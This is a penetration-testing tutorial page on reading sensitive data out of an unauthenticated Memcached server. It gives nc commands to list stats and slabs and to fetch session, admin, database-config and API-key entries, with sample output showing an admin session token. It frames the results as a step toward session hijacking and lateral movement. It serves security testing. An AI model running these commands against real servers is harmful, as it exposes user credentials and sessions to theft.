Skip to content
HackIndex logo

HackIndex

Memcached Sensitive Data in Cache

3 min read Mar 17, 2026

Memcached stores application data in plaintext with no encryption at rest. Web applications commonly cache database query results, serialized session objects, API responses, and authentication tokens. When the cache is reachable without authentication, all of that data is readable by any client. This page covers confirming that sensitive data is present and categorising what is exposed before moving into extraction.

This assumes unauthenticated access is already confirmed. If not, start with the unauthenticated access page first.

Check Current Item Count

Before dumping keys, check whether the cache holds anything worth pursuing:

┌──(kali㉿kali)-[~]
└─$ echo -e "stats\r" | nc -q2 $TARGET_IP 11211 
STAT curr_items 486
STAT total_items 31204
STAT bytes 4821930

curr_items tells you how many keys are live right now. bytes gives the total cache size. A large byte count with a modest key count suggests large payloads per key, which often means serialized session objects or full query result sets.

Sample Keys Across Slabs

Memcached organises keys into slabs by item size. To find sensitive data, you need to sample keys from each active slab. Start by listing which slabs have data:

┌──(kali㉿kali)-[~]
└─$ echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211 
STAT 1:chunk_size 96
STAT 1:used_chunks 14
STAT 2:chunk_size 120
STAT 2:used_chunks 203
STAT 7:chunk_size 512
STAT 7:used_chunks 41

For each slab with used_chunks above zero, dump a sample of keys:

┌──(kali㉿kali)-[~]
└─$ echo -e "get sess:a3f9c1\r" | nc -q2 $TARGET_IP 11211 
VALUE sess:a3f9c1 0 412
a:4:{s:2:"id";i:1042;s:5:"email";s:19:"[email protected]";s:4:"role";s:5:"admin";s:5:"token";s:32:"d8f3a91bc204e57f8a2d013c9e4b7a1d";}
END

PHP serialized session objects like this expose user identity, role, and session token in a single read. Other common payload formats include JSON blobs, JWT tokens, and raw credential strings.

Spot High-Value Key Patterns

Key naming conventions vary by application framework but follow predictable patterns. These are worth targeting directly:

┌──(kali㉿kali)-[~]
└─$ echo -e "get admin:session\r" | nc -q2 $TARGET_IP 11211
┌──(kali㉿kali)-[~]
└─$ echo -e "get config:database\r" | nc -q2 $TARGET_IP 11211
┌──(kali㉿kali)-[~]
└─$ echo -e "get api:key\r" | nc -q2 $TARGET_IP 11211

If the application uses a prefix-based key scheme, querying likely prefixes is faster than dumping all slabs. Key hits on config, db, credentials, or secret prefixes typically yield the most impactful data.

Identify Serialized Credential Payloads

Database credentials cached as part of application configuration are common in misconfigured deployments. A value that starts with a: or O: is PHP serialized. Values starting with { are JSON. Both formats frequently embed usernames and passwords in plaintext.

If a value appears base64-encoded, decode it locally:

┌──(kali㉿kali)-[~]
└─$ echo "BASE64STRING" | base64 -d

Document the Finding

Record which key names are present, what data types are exposed, and whether any values contain credentials, tokens, or session identifiers. Sensitive data confirmed in cache feeds directly into session token extraction and lateral movement via recovered credentials.

References